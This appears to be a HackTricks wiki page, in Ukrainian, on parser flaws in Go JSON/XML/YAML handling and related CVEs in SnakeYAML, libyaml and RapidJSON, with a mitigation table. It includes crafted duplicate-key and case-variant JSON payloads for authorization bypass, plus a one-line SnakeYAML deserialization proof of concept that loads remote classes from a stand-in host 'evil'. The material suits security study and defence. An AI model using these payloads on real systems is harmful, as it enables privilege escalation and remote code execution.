JSON, XML & Yaml Hacking & Issues
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Go JSON Decoder
Наступні проблеми були виявлені в Go JSON, хоча вони можуть бути присутніми і в інших мовах. Ці проблеми були опубліковані в цьому блозі.
JSON, XML та YAML парсери Go мають довгий список невідповідностей та небезпечних за замовчуванням налаштувань, які можуть бути використані для обходу аутентифікації, ескалації привілеїв або екстракції чутливих даних.
(Un)Marshaling Unexpected Data
Мета полягає в тому, щоб експлуатувати структури, які дозволяють зловмиснику читати/записувати чутливі поля (наприклад, IsAdmin
, Password
).
- Example Struct:
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
- Загальні вразливості
- Відсутній тег (немає тегу = поле все ще обробляється за замовчуванням):
type User struct {
Username string
}
Пейлоад:
{"Username": "admin"}
- Неправильне використання
-
:
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
Пейлоад:
{"-": true}
✔️ Правильний спосіб заблокувати поле від (не)маршалізації:
type User struct {
IsAdmin bool `json:"-"`
}
Parser Differentials
Мета полягає в обході авторизації шляхом використання того, як різні парсери по-різному інтерпретують один і той же корисний навантаження, як у:
- CVE-2017-12635: обходження Apache CouchDB через дублікати ключів
- 2022: Zoom 0-click RCE через несумісність XML парсера
- GitLab 2025 обходження SAML через особливості XML
1. Дублікати полів:
Go's encoding/json
бере остання поле.
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
Інші парсери (наприклад, Java’s Jackson) можуть взяти перший.
2. Нечутливість до регістру: Go є нечутливим до регістру:
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
Навіть трюки з Unicode працюють:
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
3. Невідповідність між сервісами: Уявіть:
- Проксі, написаний на Go
- Служба AuthZ, написана на Python
Зловмисник надсилає:
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
- Python бачить
UserAction
, дозволяє його - Go бачить
AdminAction
, виконує його
Плутанина формату даних (Поліглоти)
Мета полягає в експлуатації систем, які змішують формати (JSON/XML/YAML) або не блокують помилки парсера, такі як:
- CVE-2020-16250: HashiCorp Vault розпарсив JSON за допомогою XML парсера після того, як STS повернув JSON замість XML.
Зловмисник контролює:
- Заголовок
Accept: application/json
- Частковий контроль над тілом JSON
XML парсер Go розпарсив його все одно і довіряв ін'єкованій ідентичності.
- Сформований payload:
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "<?xml version=\"1.0\"?><Action>Action_3</Action>"
}
- Go JSON парсер:
Action_2
(нечутливий до регістру + останній виграє) - YAML парсер:
Action_1
(чутливий до регістру) - XML парсер: парсить
"Action_3"
всередині рядка
Помітні вразливості парсерів (2023-2025)
Наступні публічно експлуатовані проблеми показують, що небезпечний парсинг є проблемою багатьох мов — це не лише проблема Go.
SnakeYAML десеріалізація RCE (CVE-2022-1471)
- Впливає на:
org.yaml:snakeyaml
< 2.0 (використовується Spring-Boot, Jenkins тощо). - Корінна причина:
new Constructor()
десеріалізує произвольні Java класи, дозволяючи ланцюги гаджетів, які закінчуються виконанням віддаленого коду. - Однорядковий PoC (відкриє калькулятор на вразливому хості):
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
- Виправлення / Пом'якшення:
- Оновіть до ≥2.0 (використовує
SafeLoader
за замовчуванням). - У старих версіях явно використовуйте
new Yaml(new SafeConstructor())
.
libyaml Double-Free (CVE-2024-35325)
- Впливає на:
libyaml
≤0.2.5 (C бібліотека, що використовується багатьма мовами). - Проблема: Виклик
yaml_event_delete()
двічі призводить до подвійного звільнення, яке зловмисники можуть перетворити на DoS або, в деяких сценаріях, експлуатацію купи. - Статус: Вгору відхилено як “неправильне використання API”, але дистрибутиви Linux випустили виправлену версію 0.2.6, яка захищає вказівник, обнуляючи його.
RapidJSON Integer (Under|Over)-flow (CVE-2024-38517 / CVE-2024-39684)
- Впливає на: Tencent RapidJSON до коміту
8269bc2
(<1.1.0-patch-22). - Помилка: У
GenericReader::ParseNumber()
неконтрольована арифметика дозволяє зловмисникам створювати величезні числові літерали, які обертаються і пошкоджують купу — в кінцевому підсумку це дозволяє підвищити привілеї, коли отримана граф об'єктів використовується для прийняття рішень про авторизацію.
🔐 Пом'якшення (Оновлено)
Ризик | Виправлення / Рекомендація |
---|---|
Невідомі поля (JSON) | decoder.DisallowUnknownFields() |
Дублікати полів (JSON) | ❌ Немає виправлення в stdlib — перевірте за допомогою jsoncheck |
Нечутливе співпадіння (Go) | ❌ Немає виправлення — перевірте теги структур + попередньо канонізуйте вхідні дані |
XML сміттєві дані / XXE | Використовуйте посилений парсер (encoding/xml + DisallowDTD ) |
YAML невідомі ключі | yaml.KnownFields(true) |
Небезпечна десеріалізація YAML | Використовуйте SafeConstructor / оновіть до SnakeYAML ≥2.0 |
libyaml ≤0.2.5 подвійне звільнення | Оновіть до 0.2.6 або виправленої версії дистрибутива |
RapidJSON <виправлений коміт | Скомпілюйте проти останнього RapidJSON (≥липень 2024) |
Посилання
- Baeldung – “Вирішення CVE-2022-1471 з SnakeYAML 2.0”
- Ubuntu Security Tracker – CVE-2024-35325 (libyaml)
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.